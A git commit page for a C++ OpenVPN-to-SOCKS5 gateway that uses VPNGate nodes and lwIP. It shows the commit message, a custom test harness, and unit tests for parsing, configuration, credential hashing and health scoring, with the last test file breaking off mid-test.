OpenVPN client with an authenticated SOCKS5 front door

A userspace VPN gateway: builds an OpenVPN tunnel to a VPNGate node with
the OpenVPN 3 core, terminates it in-process with lwIP, and serves SOCKS5
(RFC 1928/1929, CONNECT and UDP ASSOCIATE) over it. No root, no tun
device, no routing table changes.

Layout follows the module boundaries in docs/ARCHITECTURE.md:

  vpngate/   directory fetch + CSV parse (lines run to ~13.5 KB, so the
             parser streams rather than splitting on newlines)
  selector/  two-phase pick: cheap prior over the whole list, then real
             TCP handshake timing of the top K
  ovpn/      openvpn3 driven through TunBuilder, packets over a socketpair
  netstack/  lwIP: the TCP/IP stack that makes "no root" possible
  egress/    the swappable way out, and make-before-break switching
  socks5/    the front door
  health/    per-window scoring, and the decision to move
  app/       wiring, admin HTTP, signals

docs/FEASIBILITY.md is the analysis this was built from, including the
one requirement that is not physically possible -- carrying established
TCP connections across a node switch -- and what is done instead
(zero-progress redial, UDP re-homing, grace-period drain).

Tests: 155 without the tunnel egress, 172 with it. The seam is the egress
factory; selection, scoring, history and probing all run for real.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
iceBear67
2026-07-28 04:38:39 +00:00
co-authored by Claude Opus 5
commit b2ba45c9f8
98 changed files with 24119 additions and 0 deletions
+29
View File
@@ -0,0 +1,29 @@
set(OVG_TEST_SOURCES
harness.cpp
test_common.cpp
test_csv_parser.cpp
test_selector.cpp
test_http_get.cpp
test_ovpn.cpp
test_egress.cpp
test_socks5.cpp
test_health.cpp)
# The netstack only exists in a tunnel build (see src/CMakeLists.txt), so its
# tests come and go with it rather than being #ifdef'd to an empty file.
if(OVG_WITH_TUNNEL)
list(APPEND OVG_TEST_SOURCES test_netstack.cpp)
endif()
add_executable(ovg_tests ${OVG_TEST_SOURCES})
target_include_directories(ovg_tests PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
target_compile_definitions(ovg_tests PRIVATE
OVG_TEST_DATA_DIR="${CMAKE_CURRENT_SOURCE_DIR}/data")
target_link_libraries(ovg_tests PRIVATE
ovg_selector ovg_ovpn ovg_egress ovg_socks5 ovg_health)
if(OVG_WITH_TUNNEL)
target_link_libraries(ovg_tests PRIVATE ovg_netstack)
endif()
add_test(NAME unit COMMAND ovg_tests)
File diff suppressed because one or more lines are too long
+90
View File
@@ -0,0 +1,90 @@
#include "harness.h"
#include <chrono>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <exception>
#include "common/logging.h"
#ifndef OVG_TEST_DATA_DIR
#define OVG_TEST_DATA_DIR "tests/data"
#endif
namespace ovgtest {
std::vector<Case> &registry() {
static std::vector<Case> cases;
return cases;
}
Registrar::Registrar(std::string name, std::function<void()> fn) {
registry().push_back(Case{std::move(name), std::move(fn)});
}
void fail(const char *file, int line, const std::string &what) {
const char *slash = std::strrchr(file, '/');
std::string loc = slash ? slash + 1 : file;
throw Failure{loc + ":" + std::to_string(line) + ": " + what};
}
void skip(const std::string &reason) { throw Skipped{reason}; }
std::string data_path(const std::string &leaf) {
return std::string(OVG_TEST_DATA_DIR) + "/" + leaf;
}
int run_all(int argc, char **argv) {
const char *filter = argc > 1 ? argv[1] : nullptr;
int passed = 0, failed = 0, filtered = 0, skipped = 0;
for (const auto &c : registry()) {
if (filter && c.name.find(filter) == std::string::npos) {
++filtered;
continue;
}
const auto t0 = std::chrono::steady_clock::now();
try {
c.fn();
const auto ms = std::chrono::duration<double, std::milli>(
std::chrono::steady_clock::now() - t0)
.count();
std::printf(" \033[32mPASS\033[0m %-44s %6.1fms\n", c.name.c_str(), ms);
++passed;
} catch (const Skipped &s) {
std::printf(" \033[33mSKIP\033[0m %-44s %s\n", c.name.c_str(),
s.reason.c_str());
++skipped;
} catch (const Failure &f) {
std::printf(" \033[31mFAIL\033[0m %s\n %s\n", c.name.c_str(),
f.message.c_str());
++failed;
} catch (const std::exception &e) {
std::printf(" \033[31mFAIL\033[0m %s\n threw: %s\n",
c.name.c_str(), e.what());
++failed;
} catch (...) {
std::printf(" \033[31mFAIL\033[0m %s\n threw unknown exception\n",
c.name.c_str());
++failed;
}
}
std::printf("\n %d passed, %d failed", passed, failed);
if (skipped) std::printf(", %d skipped", skipped);
if (filtered) std::printf(", %d filtered out", filtered);
std::printf("\n\n");
return failed == 0 ? 0 : 1;
}
} // namespace ovgtest
int main(int argc, char **argv) {
// Tests exercise error paths on purpose, so the log would be mostly noise.
// OVG_TEST_LOG=debug (or any level name) turns it back on when debugging.
const char *lvl = std::getenv("OVG_TEST_LOG");
ovg::log::set_level(lvl ? ovg::log::level_from_string(lvl)
: ovg::log::Level::Off);
return ovgtest::run_all(argc, argv);
}
+120
View File
@@ -0,0 +1,120 @@
// A ~100-line test harness.
//
// Pulling in GTest would mean either a system package we cannot assume or a
// FetchContent download on every clean build. The tests here need registration,
// assertions and a non-zero exit code; that is all this provides.
#pragma once
#include <concepts>
#include <functional>
#include <ostream>
#include <sstream>
#include <string>
#include <vector>
namespace ovgtest {
struct Case {
std::string name;
std::function<void()> fn;
};
std::vector<Case> &registry();
struct Registrar {
Registrar(std::string name, std::function<void()> fn);
};
// Thrown by the CHECK macros; caught per-case by the runner.
struct Failure {
std::string message;
};
// Thrown by SKIP: the environment cannot support the test (e.g. a sandbox that
// transparently accepts every outbound connection, so nothing can be
// blackholed). Reported distinctly from a pass so it cannot hide a regression.
struct Skipped {
std::string reason;
};
[[noreturn]] void fail(const char *file, int line, const std::string &what);
[[noreturn]] void skip(const std::string &reason);
// Absolute path to tests/data, injected by CMake.
std::string data_path(const std::string &leaf);
int run_all(int argc, char **argv);
// Best-effort stringification: streamable types get printed, everything else
// (IpAddress, enums without an operator<<, ...) degrades to a placeholder
// rather than failing to compile.
template <typename T>
concept Streamable = requires(std::ostream &os, const T &v) { os << v; };
template <typename T>
std::string to_str(const T &v) {
if constexpr (Streamable<T>) {
std::ostringstream os;
os << v;
return os.str();
} else {
return "<value>";
}
}
inline std::string to_str(bool v) { return v ? "true" : "false"; }
inline std::string to_str(const std::string &v) { return "\"" + v + "\""; }
} // namespace ovgtest
#define OVG_TEST(name) \
static void name(); \
static ::ovgtest::Registrar ovg_reg_##name(#name, name); \
static void name()
#define SKIP(reason) ::ovgtest::skip(reason)
#define CHECK(cond) \
do { \
if (!(cond)) ::ovgtest::fail(__FILE__, __LINE__, "CHECK(" #cond ")"); \
} while (0)
#define CHECK_EQ(a, b) \
do { \
const auto &ovg_a = (a); \
const auto &ovg_b = (b); \
if (!(ovg_a == ovg_b)) \
::ovgtest::fail(__FILE__, __LINE__, \
"CHECK_EQ(" #a ", " #b ")\n left = " + \
::ovgtest::to_str(ovg_a) + \
"\n right = " + ::ovgtest::to_str(ovg_b)); \
} while (0)
#define CHECK_NE(a, b) \
do { \
if ((a) == (b)) \
::ovgtest::fail(__FILE__, __LINE__, "CHECK_NE(" #a ", " #b ")"); \
} while (0)
#define CHECK_LT(a, b) \
do { \
const auto &ovg_a = (a); \
const auto &ovg_b = (b); \
if (!(ovg_a < ovg_b)) \
::ovgtest::fail(__FILE__, __LINE__, \
"CHECK_LT(" #a ", " #b ")\n left = " + \
::ovgtest::to_str(ovg_a) + \
"\n right = " + ::ovgtest::to_str(ovg_b)); \
} while (0)
#define CHECK_GT(a, b) CHECK_LT(b, a)
#define CHECK_NEAR(a, b, tol) \
do { \
const double ovg_d = static_cast<double>(a) - static_cast<double>(b); \
if (ovg_d > (tol) || -ovg_d > (tol)) \
::ovgtest::fail(__FILE__, __LINE__, \
"CHECK_NEAR(" #a ", " #b ")\n left = " + \
::ovgtest::to_str(static_cast<double>(a)) + \
"\n right = " + \
::ovgtest::to_str(static_cast<double>(b))); \
} while (0)
+271
View File
@@ -0,0 +1,271 @@
#include "common/config.h"
#include "common/endpoint.h"
#include "common/error.h"
#include "common/metrics.h"
#include "harness.h"
using namespace ovg;
// ---------------------------------------------------------------------------
// Endpoint
OVG_TEST(IpAddressParseV4) {
auto a = IpAddress::parse("192.168.1.1");
CHECK(a.has_value());
CHECK(a->is_v4());
CHECK_EQ(a->to_string(), std::string("192.168.1.1"));
CHECK_EQ(a->v4_host_order(), uint32_t(0xC0A80101));
CHECK_EQ(a->byte_len(), size_t(4));
}
OVG_TEST(IpAddressParseV6) {
auto a = IpAddress::parse("2001:db8::1");
CHECK(a.has_value());
CHECK(a->is_v6());
CHECK_EQ(a->to_string(), std::string("2001:db8::1"));
CHECK_EQ(a->byte_len(), size_t(16));
}
OVG_TEST(IpAddressRejectsGarbage) {
CHECK(!IpAddress::parse("example.com").has_value());
CHECK(!IpAddress::parse("999.1.1.1").has_value());
CHECK(!IpAddress::parse("").has_value());
}
OVG_TEST(IpAddressFromBytes) {
const uint8_t b[4] = {8, 8, 4, 4};
auto a = IpAddress::from_bytes_v4(b);
CHECK_EQ(a.to_string(), std::string("8.8.4.4"));
CHECK_EQ(a, *IpAddress::parse("8.8.4.4"));
}
OVG_TEST(EndpointParseForms) {
auto v4 = Endpoint::parse("1.2.3.4:80");
CHECK(v4.has_value());
CHECK(v4->kind() == Endpoint::Kind::Ipv4);
CHECK_EQ(v4->port(), uint16_t(80));
CHECK_EQ(v4->to_string(), std::string("1.2.3.4:80"));
auto v6 = Endpoint::parse("[::1]:8080");
CHECK(v6.has_value());
CHECK(v6->kind() == Endpoint::Kind::Ipv6);
CHECK_EQ(v6->port(), uint16_t(8080));
CHECK_EQ(v6->to_string(), std::string("[::1]:8080"));
auto dom = Endpoint::parse("example.com:443");
CHECK(dom.has_value());
CHECK(dom->is_domain());
CHECK_EQ(dom->domain(), std::string("example.com"));
CHECK_EQ(dom->host_string(), std::string("example.com"));
}
OVG_TEST(EndpointDomainStaysUnresolved) {
// The whole point of keeping Domain as a kind: no local DNS lookup happens,
// so nothing leaks outside the tunnel.
Endpoint e("example.com", 443);
CHECK(e.is_domain());
CHECK(!e.address().valid());
}
OVG_TEST(EndpointRejectsBadInput) {
CHECK(!Endpoint::parse("1.2.3.4").has_value()); // no port
CHECK(!Endpoint::parse("1.2.3.4:99999").has_value()); // port out of range
CHECK(!Endpoint::parse("").has_value());
}
// ---------------------------------------------------------------------------
// Errors
OVG_TEST(ErrorCodesMapToSocks5Replies) {
auto rep = [](Error e) { return int(socks5_reply_for(make_error_code(e))); };
CHECK_EQ(rep(Error::Ok), 0x00);
CHECK_EQ(rep(Error::ConnectionRefused), 0x05);
CHECK_EQ(rep(Error::NetworkUnreachable), 0x03);
CHECK_EQ(rep(Error::HostUnreachable), 0x04);
CHECK_EQ(rep(Error::ResolveFailed), 0x04);
CHECK_EQ(rep(Error::Timeout), 0x06); // TTL expired
CHECK_EQ(rep(Error::NotSupported), 0x07);
// A dead or draining egress looks like an unreachable network to the client.
CHECK_EQ(rep(Error::EgressDraining), 0x03);
CHECK_EQ(rep(Error::EgressGone), 0x03);
// Anything unmapped must still be a valid REP value, not a random byte.
CHECK_EQ(rep(Error::Internal), 0x01);
}
OVG_TEST(Socks5ReplyMapsSystemErrors) {
// asio hands us std::errc, not our category.
CHECK_EQ(int(socks5_reply_for(std::make_error_code(
std::errc::connection_refused))),
0x05);
CHECK_EQ(int(socks5_reply_for(std::make_error_code(std::errc::timed_out))),
0x06);
CHECK_EQ(int(socks5_reply_for(std::error_code())), 0x00);
}
OVG_TEST(ErrorCodesHaveMessages) {
const std::error_code ec = Error::EgressDraining; // implicit conversion
CHECK(ec); // non-zero
CHECK(!ec.message().empty());
CHECK(!make_error_code(Error::Ok));
}
// ---------------------------------------------------------------------------
// Metrics
OVG_TEST(MetricsHandlesAreStable) {
auto *a = metrics::counter("ovg_test_thing_total", "help");
auto *b = metrics::counter("ovg_test_thing_total");
CHECK_EQ(a, b);
a->inc(3);
CHECK_EQ(b->value(), uint64_t(3));
}
OVG_TEST(MetricsRenderPrometheus) {
metrics::gauge("ovg_test_gauge", "a gauge")->set(42);
const auto text = metrics::Registry::instance().render_prometheus();
CHECK_NE(text.find("# TYPE ovg_test_gauge gauge"), std::string::npos);
CHECK_NE(text.find("ovg_test_gauge 42"), std::string::npos);
}
// ---------------------------------------------------------------------------
// Config
OVG_TEST(ParseDurationUnits) {
Millis m{};
CHECK(parse_duration("250ms", &m));
CHECK_EQ(m.count(), int64_t(250));
CHECK(parse_duration("30s", &m));
CHECK_EQ(m.count(), int64_t(30000));
CHECK(parse_duration("5m", &m));
CHECK_EQ(m.count(), int64_t(300000));
CHECK(parse_duration("2h", &m));
CHECK_EQ(m.count(), int64_t(7200000));
CHECK(parse_duration("1d", &m));
CHECK_EQ(m.count(), int64_t(86400000));
// Bare number = seconds.
CHECK(parse_duration("45", &m));
CHECK_EQ(m.count(), int64_t(45000));
}
OVG_TEST(ParseDurationRejectsGarbage) {
Millis m{};
CHECK(!parse_duration("", &m));
CHECK(!parse_duration("soon", &m));
CHECK(!parse_duration("-5s", &m));
CHECK(!parse_duration("5 fortnights", &m));
}
OVG_TEST(ConfigDefaultsRefuseAnonymousProxy) {
// Secure by default: auth is on and there are no users, so a config that
// defines neither must be rejected rather than quietly opening an open relay.
Config c;
std::string err;
CHECK(!c.validate(&err));
CHECK_NE(err.find("require_auth"), std::string::npos);
CHECK_EQ(c.socks5.listen_port, uint16_t(1080));
CHECK_EQ(c.socks5.listen_address, std::string("127.0.0.1"));
CHECK(c.socks5.require_auth);
CHECK(c.socks5.udp_associate_enabled);
// With a user it validates.
c.socks5.users.push_back(make_credential("alice", "hunter2"));
CHECK(c.validate(&err));
}
OVG_TEST(ConfigLoadsSections) {
const char *text = R"(
# a comment
[socks5]
listen_address = 0.0.0.0
listen_port = 1081
advertise_address = 203.0.113.7
idle_timeout = 90s
max_sessions = 2000
[selector]
country_allow = JP, KR, SG
prefer_udp = false
probe_candidates = 20
[switch]
mode = hard
drain_grace = 30s
[users]
alice = hunter2
)";
Config c;
std::string err;
CHECK(Config::load_string(text, &c, &err));
CHECK_EQ(err, std::string(""));
CHECK_EQ(c.socks5.listen_address, std::string("0.0.0.0"));
CHECK_EQ(c.socks5.listen_port, uint16_t(1081));
CHECK_EQ(c.socks5.idle_timeout.count(), int64_t(90000));
CHECK_EQ(c.socks5.max_sessions, size_t(2000));
CHECK_EQ(c.selector.country_allow.size(), size_t(3));
CHECK_EQ(c.selector.country_allow[2], std::string("SG"));
CHECK(!c.selector.prefer_udp);
CHECK_EQ(c.selector.probe_candidates, size_t(20));
CHECK(c.switching.mode == SwitchConfig::Mode::Hard);
CHECK_EQ(c.switching.drain_grace.count(), int64_t(30000));
CHECK_EQ(c.socks5.users.size(), size_t(1));
CHECK_EQ(c.socks5.users[0].username, std::string("alice"));
CHECK(verify_credential(c.socks5.users[0], "hunter2"));
}
OVG_TEST(ConfigRejectsUnknownKey) {
// A key nobody reads is a key that silently does nothing. Catch it at load.
Config c;
std::string err;
CHECK(!Config::load_string(
"[socks5]\nlisten_prot = 1080\n[users]\na = b\n", &c, &err));
CHECK_NE(err.find("socks5.listen_prot"), std::string::npos);
}
OVG_TEST(ConfigAcceptsUserDefinedSections) {
// [users] and [log.modules] have keys we cannot enumerate; they must not be
// mistaken for typos by the unknown-key check.
Config c;
std::string err;
CHECK(Config::load_string(
"[log.modules]\nsocks5 = debug\nselector = warn\n"
"[users]\nalice = a\nbob = b\n",
&c, &err));
CHECK_EQ(err, std::string(""));
CHECK_EQ(c.socks5.users.size(), size_t(2));
CHECK(c.logging.module_levels.at("socks5") == log::Level::Debug);
CHECK(c.logging.module_levels.at("selector") == log::Level::Warn);
}
OVG_TEST(ConfigRejectsBadValues) {
Config c;
std::string err;
CHECK(!Config::load_string("[socks5]\nlisten_port = eighty\n[users]\na=b\n",
&c, &err));
CHECK(!Config::load_string("[switch]\nmode = sideways\n[users]\na=b\n", &c,
&err));
CHECK(!Config::load_string("[dns]\nfallback_servers = dns.example.com\n"
"[users]\na=b\n",
&c, &err));
CHECK_NE(err.find("IP literals"), std::string::npos);
}
OVG_TEST(CredentialsAreSaltedAndVerify) {
auto c = make_credential("alice", "hunter2");
CHECK_EQ(c.username, std::string("alice"));
CHECK(!c.salt_hex.empty());
CHECK_EQ(c.hash_hex.size(), size_t(64)); // sha256 hex
CHECK(verify_credential(c, "hunter2"));
CHECK(!verify_credential(c, "hunter3"));
CHECK(!verify_credential(c, ""));
// Same password, different salt => different hash.
auto d = make_credential("alice", "hunter2");
CHECK_NE(c.salt_hex, d.salt_hex);
CHECK_NE(c.hash_hex, d.hash_hex);
}
+248
View File
@@ -0,0 +1,248 @@
// The VPNGate feed is hostile in a boring way: very long lines, volunteer-typed
// free text, and occasional rows that are simply broken. These tests pin the
// two behaviours we actually depend on -- no line-length assumptions, and one
// bad row never costs us the rest of the list.
#include <fstream>
#include <sstream>
#include "harness.h"
#include "vpngate/csv_parser.h"
using namespace ovg::vpngate;
namespace {
std::string read_sample() {
std::ifstream in(ovgtest::data_path("vpngate_sample.csv"), std::ios::binary);
CHECK(in.good());
std::ostringstream ss;
ss << in.rdbuf();
return ss.str();
}
} // namespace
OVG_TEST(SplitCsvBasic) {
auto f = split_csv_line("a,b,c");
CHECK_EQ(f.size(), size_t(3));
CHECK_EQ(f[0], std::string("a"));
CHECK_EQ(f[2], std::string("c"));
}
OVG_TEST(SplitCsvEmptyFields) {
auto f = split_csv_line("a,,c,");
CHECK_EQ(f.size(), size_t(4));
CHECK_EQ(f[1], std::string(""));
CHECK_EQ(f[3], std::string(""));
}
OVG_TEST(SplitCsvQuotedCommaAndDoubledQuote) {
auto f = split_csv_line(R"(a,"b,still b","he said ""hi""",d)");
CHECK_EQ(f.size(), size_t(4));
CHECK_EQ(f[1], std::string("b,still b"));
CHECK_EQ(f[2], std::string("he said \"hi\""));
CHECK_EQ(f[3], std::string("d"));
}
OVG_TEST(SplitCsvStripsTrailingCr) {
auto f = split_csv_line("a,b\r");
CHECK_EQ(f.size(), size_t(2));
CHECK_EQ(f[1], std::string("b"));
}
OVG_TEST(SplitCsvToleratesStrayQuote) {
// Volunteers type things like: Operator: 5" floppy fan club
auto f = split_csv_line("a,5\" floppy,c");
CHECK_EQ(f.size(), size_t(3));
CHECK_EQ(f[2], std::string("c"));
}
OVG_TEST(Base64RoundTrip) {
std::string out;
CHECK(base64_decode("aGVsbG8gd29ybGQ=", &out));
CHECK_EQ(out, std::string("hello world"));
CHECK(base64_decode("", &out));
CHECK_EQ(out, std::string(""));
// Embedded newlines are common in the wild; they must be ignored, not fatal.
CHECK(base64_decode("aGVs\nbG8g\nd29ybGQ=", &out));
CHECK_EQ(out, std::string("hello world"));
}
OVG_TEST(Base64RejectsGarbage) {
std::string out;
CHECK(!base64_decode("not*valid*base64", &out));
}
OVG_TEST(ExtractRemotesHonoursProtoRegardlessOfOrder) {
// "proto" appears *after* the remotes here. A single-pass parser would
// mislabel both as the default TCP.
const char *profile =
"client\n"
"dev tun\n"
"remote 1.2.3.4 1194\n"
"remote 1.2.3.4 443\n"
"proto udp\n"
"resolv-retry infinite\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(2));
CHECK(r[0].proto == Proto::Udp);
CHECK(r[1].proto == Proto::Udp);
CHECK_EQ(r[0].port, uint16_t(1194));
CHECK_EQ(r[1].port, uint16_t(443));
}
OVG_TEST(ExtractRemotesPerRemoteProtoWins) {
const char *profile =
"proto tcp\n"
"remote 1.2.3.4 1194 udp\n"
"remote 5.6.7.8 443\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(2));
CHECK(r[0].proto == Proto::Udp);
CHECK(r[1].proto == Proto::Tcp);
}
OVG_TEST(ExtractRemotesUnderstandsTcpClient) {
const char *profile = "proto tcp-client\nremote 1.2.3.4 443\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(1));
CHECK(r[0].proto == Proto::Tcp);
}
OVG_TEST(ExtractRemotesAppliesBarePortDirective) {
const char *profile = "port 1194\nremote 1.2.3.4\nproto udp\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(1));
CHECK_EQ(r[0].port, uint16_t(1194));
}
OVG_TEST(ExtractRemotesIgnoresInlineBlocks) {
// Two traps. A <connection> block declares an alternative remote we never
// scored -- and the sanitizer strips those blocks outright, so counting it
// here would make the node list and the profile we actually dial disagree.
// A PEM body is arbitrary base64 that can start a line with any word.
const char *profile =
"remote 1.2.3.4 443 tcp\n"
"<connection>\n"
"remote 9.9.9.9 1194 udp\n"
"</connection>\n"
"<ca>\n"
"remote 8.8.8.8 53 udp\n"
"proto udp\n"
"-----END CERTIFICATE-----\n"
"</ca>\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(1));
CHECK_EQ(r[0].host, std::string("1.2.3.4"));
CHECK(r[0].proto == Proto::Tcp);
}
OVG_TEST(ExtractRemotesMatchesBlockTagsCaseInsensitively) {
const char *profile =
"remote 1.2.3.4 443 tcp\n"
"<CA>\n"
"remote 9.9.9.9 1194 udp\n"
"</ca>\n"
"remote 5.6.7.8 443 tcp\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(2));
CHECK_EQ(r[1].host, std::string("5.6.7.8"));
}
OVG_TEST(ParseRejectsHtmlErrorPage) {
ParseResult res;
std::string err;
CHECK(!parse_node_list("<html><body>503</body></html>", &res, &err));
CHECK(!err.empty());
}
OVG_TEST(ParseRejectsMissingMagic) {
ParseResult res;
std::string err;
CHECK(!parse_node_list("#HostName,IP\nfoo,1.2.3.4\n", &res, &err));
}
OVG_TEST(ParseSkipsBadRowsAndKeepsGoing) {
// Row 2 is truncated, row 3 has undecodable base64. Row 1 and 4 must survive.
std::string good_profile_b64;
{
// "client\nremote 1.2.3.4 443 tcp\n" base64-encoded.
good_profile_b64 = "Y2xpZW50CnJlbW90ZSAxLjIuMy40IDQ0MyB0Y3AK";
}
std::ostringstream body;
body << "*vpn_servers\n"
<< "#HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,"
"NumVpnSessions,Uptime,TotalUsers,TotalTraffic,LogType,Operator,"
"Message,OpenVPN_ConfigData_Base64\n"
<< "ok1,1.1.1.1,100,10,1000,Japan,JP,1,1000,1,1,2weeks,op,,"
<< good_profile_b64 << "\n"
<< "truncated,2.2.2.2,100\n"
<< "badb64,3.3.3.3,100,10,1000,Japan,JP,1,1000,1,1,2weeks,op,,!!!!\n"
<< "ok2,4.4.4.4,200,20,2000,Korea,KR,2,2000,2,2,2weeks,op,,"
<< good_profile_b64 << "\n"
<< "*\n";
ParseResult res;
std::string err;
CHECK(parse_node_list(body.str(), &res, &err));
CHECK_EQ(res.nodes.size(), size_t(2));
CHECK_EQ(res.nodes[0].host_name, std::string("ok1"));
CHECK_EQ(res.nodes[1].host_name, std::string("ok2"));
CHECK_EQ(res.stats.data_rows, size_t(4));
CHECK_EQ(res.stats.accepted, size_t(2));
CHECK_EQ(res.stats.skipped_columns, size_t(1));
CHECK_EQ(res.stats.skipped_base64, size_t(1));
}
OVG_TEST(ParseRealSampleFeed) {
const auto body = read_sample();
CHECK_GT(body.size(), size_t(1000000));
ParseResult res;
std::string err;
CHECK(parse_node_list(body, &res, &err));
// The captured feed had 96 data rows; every one of them should parse.
CHECK_GT(res.nodes.size(), size_t(80));
CHECK_EQ(res.stats.accepted, res.stats.data_rows);
for (const auto &n : res.nodes) {
CHECK(!n.host_name.empty());
CHECK(!n.ip.empty());
CHECK(!n.remotes.empty());
// openvpn3 needs the whole profile, inline certs and all.
CHECK_GT(n.profile.size(), size_t(1000));
CHECK_NE(n.profile.find("<ca>"), std::string::npos);
CHECK_NE(n.id().find('@'), std::string::npos);
}
}
OVG_TEST(RealSampleHasVeryLongLines) {
// Guards the requirement explicitly: if this ever fits in a 4 KB buffer, the
// test data stopped being representative.
const auto body = read_sample();
size_t longest = 0, start = 0;
for (size_t i = 0; i <= body.size(); ++i) {
if (i == body.size() || body[i] == '\n') {
longest = std::max(longest, i - start);
start = i + 1;
}
}
CHECK_GT(longest, size_t(8192));
}
OVG_TEST(RealSampleNodesOfferTcp443) {
// The tunnel design assumes almost every node exposes TCP; the prober cannot
// time a UDP-only node (see selector/prober.h).
const auto body = read_sample();
ParseResult res;
std::string err;
CHECK(parse_node_list(body, &res, &err));
size_t with_tcp = 0;
for (const auto &n : res.nodes)
if (n.has_tcp()) ++with_tcp;
CHECK_GT(with_tcp, res.nodes.size() * 9 / 10);
}
File diff suppressed because it is too large Load Diff
+433
View File
@@ -0,0 +1,433 @@
// Health monitor and switch controller.
//
// The monitor is scored arithmetic over an egress it does not own, so the whole
// module can be exercised against a fake egress with no tunnel, no sockets and
// no waiting: the probe outcome, the byte counters and the connect ledger are
// all set directly by the test. What is worth testing here is the scoring
// policy, not asio -- specifically the three things that are easy to get
// backwards:
//
// * a signal that is *missing* (the direct egress keeps no byte counters)
// must renormalise out of the score rather than count as a failure;
// * a failed probe must not be averaged back into "fine" by healthy-looking
// counters around it;
// * a sustained-unhealthy report fires once per degradation, not once per
// round, or every interval queues another switch request for a decision
// already taken.
#include <asio.hpp>
#include <atomic>
#include <chrono>
#include <memory>
#include <string>
#include <vector>
#include "common/config.h"
#include "common/error.h"
#include "egress/egress.h"
#include "egress/egress_manager.h"
#include "harness.h"
#include "health/health_monitor.h"
#include "health/switch_controller.h"
using namespace ovg;
using namespace std::chrono_literals;
namespace {
bool run_until(asio::io_context &io, const std::function<bool()> &pred,
std::chrono::milliseconds limit) {
const auto deadline = std::chrono::steady_clock::now() + limit;
while (std::chrono::steady_clock::now() < deadline) {
if (pred()) return true;
io.run_for(5ms);
io.restart();
}
return pred();
}
// An egress whose every health input is a public member. `connect_result`
// decides what the probe sees; `stats_` is whatever the test wants reported.
class ProbeEgress final : public egress::Egress {
public:
explicit ProbeEgress(asio::io_context &io) : io_(io), label_("fake-node") {
stats_.node_id = "fake-node";
stats_.proto = "fake";
}
void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &ep,
Millis, ConnectHandler h) override {
probes.fetch_add(1);
last_target = ep.to_string();
if (hang) return; // handler dropped on purpose: exercises the guard timer
auto ec = connect_ec;
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
}
void async_bind_udp(const asio::any_io_executor &ex,
UdpBindHandler h) override {
asio::post(ex, [h = std::move(h)]() mutable {
h(make_error_code(Error::NotSupported), nullptr);
});
}
void async_resolve(const asio::any_io_executor &ex, const std::string &,
ResolveHandler h) override {
asio::post(ex, [h = std::move(h)]() mutable {
h(make_error_code(Error::NotSupported), {});
});
}
egress::EgressState state() const override { return state_.load(); }
egress::EgressStats stats() const override { return stats_; }
std::string detail() const override { return detail_; }
void begin_drain() override {}
void shutdown(std::function<void()> on_done) override {
state_.store(egress::EgressState::Down);
if (on_done) asio::post(io_, std::move(on_done));
}
const std::string &label() const override { return label_; }
std::error_code connect_ec{};
bool hang = false;
std::atomic<int> probes{0};
std::string last_target;
std::atomic<egress::EgressState> state_{egress::EgressState::Ready};
egress::EgressStats stats_;
std::string detail_;
private:
asio::io_context &io_;
std::string label_;
};
// A monitor over one fake egress, with the timing wound down so a "sustained"
// verdict takes milliseconds instead of a minute.
//
// The config is copied into the monitor at construction, so `tweak` is where a
// test changes it -- there is no setter afterwards, by design.
struct Fixture {
asio::io_context io;
std::shared_ptr<ProbeEgress> eg = std::make_shared<ProbeEgress>(io);
HealthConfig cfg;
std::unique_ptr<health::HealthMonitor> mon;
std::vector<std::string> unhealthy;
bool provide = true;
explicit Fixture(int windows = 2,
const std::function<void(HealthConfig &)> &tweak = {}) {
cfg.interval = 20ms;
cfg.probe_timeout = 200ms;
cfg.unhealthy_windows = windows;
cfg.probe_domain = "probe.invalid";
cfg.probe_port = 8080;
if (tweak) tweak(cfg);
mon = std::make_unique<health::HealthMonitor>(
io, cfg, [this]() -> egress::EgressPtr {
return provide ? eg : nullptr;
});
mon->set_on_unhealthy(
[this](const std::string &why) { unhealthy.push_back(why); });
}
~Fixture() {
mon->stop();
io.run_for(50ms);
}
// Waits for `n` completed rounds rather than for wall-clock time.
bool rounds(uint64_t n, std::chrono::milliseconds limit = 3s) {
return run_until(io, [this, n] { return mon->rounds() >= n; }, limit);
}
// Waits for `n` more rounds than have already happened.
bool more_rounds(uint64_t n, std::chrono::milliseconds limit = 3s) {
return rounds(mon->rounds() + n, limit);
}
};
} // namespace
// ---------------------------------------------------------------------------
// Scoring
// ---------------------------------------------------------------------------
OVG_TEST(health_scores_a_working_egress_healthy) {
Fixture f;
f.mon->start();
CHECK(f.rounds(1));
const auto s = f.mon->last();
CHECK(s.egress_present);
CHECK(s.tunnel_up);
CHECK(s.probe_ok);
CHECK(s.healthy);
// Three terms available (rtt, connect, loss), all near perfect against a fake
// that answers instantly. Anything below 0.9 means a term scored a missing
// input as a bad one.
CHECK_GT(s.score, 0.9);
CHECK(f.unhealthy.empty());
}
OVG_TEST(health_probes_the_configured_host_and_port) {
Fixture f;
f.mon->start();
CHECK(f.rounds(1));
// The probe target is a TCP handshake to probe_domain:probe_port. A DNS
// lookup here would be answered from cache without crossing the tunnel.
CHECK_EQ(f.eg->last_target, std::string("probe.invalid:8080"));
}
OVG_TEST(health_renormalises_around_a_missing_stall_signal) {
Fixture f;
f.mon->start();
CHECK(f.rounds(1));
// No byte counters at all -- the direct egress's situation.
const auto without = f.mon->last();
CHECK(!without.stall_known);
// Now give it traffic, which makes the stall term available and *not* stalled.
f.eg->stats_.tun_bytes_out = 4096;
f.eg->stats_.tcp_active = 1;
CHECK(f.more_rounds(2));
const auto with = f.mon->last();
CHECK(with.stall_known);
// Adding a *satisfied* term must not move a healthy score materially. If the
// missing term had been scoring zero, this would jump by ~0.2.
CHECK_NEAR(with.score, without.score, 0.05);
}
OVG_TEST(health_caps_the_score_when_the_probe_fails) {
Fixture f;
// Everything else looks perfect: no drops, no failed connects, bytes moving.
